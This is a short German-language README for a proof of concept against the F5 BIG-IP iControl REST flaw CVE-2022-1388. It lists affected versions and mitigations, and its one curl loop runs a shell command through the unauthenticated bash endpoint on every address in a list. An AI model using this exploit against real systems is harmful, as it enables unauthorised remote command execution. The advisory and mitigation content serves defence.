BIG-IP iControl REST-Schwachstelle CVE-2022-1388 PoC

Diese Schwachstelle kann es einem nicht authentifizierten Angreifer mit Netzwerkzugriff auf das BIG-IP-System über den Verwaltungsport und/oder Self-IP-Adressen ermöglichen, beliebige Systembefehle auszuführen, Dateien zu erstellen oder zu löschen oder Dienste zu deaktivieren.

PoC

Sie können den folgenden Curl-One-Liner verwenden, um auf die F5 Big-IP-Schwachstelle zu prüfen, oder das bereitgestellte Python-Skript verwenden.

cat ips.txt | while read ip; do curl -su admin -H "Content-Type: application/json" http://$ip/mgmt/tm/util/bash -d '{"command":"run","utilCmdArgs":"-c id"}';done

Anfällige Versionen (Big-IP)

Branch	Anfällige Versionen	Behobene Versionen
11.x	11.6.1-11.6.5	Kein Fix
12.x	12.1.0-12.1.6	Kein Fix
13.x	13.1.0-13.1.4	13.1.5
14.x	14.1.0-14.1.4	14.1.4.6
15.x	15.1.0-15.1.5	15.1.5.1
16.x	16.1.0-16.1.2	16.1.2.2
17.x	Keine	17.0.0

Gegenmaßnahmen

• Aktualisieren Sie auf die behobene Version in der Spalte ```Fixes Introduced``` (bevorzugte Methode).
• Blockieren Sie den iControl-REST-Zugriff über die Self-IP-Adresse.
• Blockieren Sie den iControl-REST-Zugriff über die Verwaltungsschnittstelle.
• Ändern Sie die BIG-IP-httpd-Konfiguration.

Weitere Informationen zu Gegenmaßnahmen finden Sie in den Referenzen.

Referenzen

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388
• https://support.f5.com/csp/article/K23605346
• https://github.com/ZephrFish/F5-CVE-2022-1388-Exploit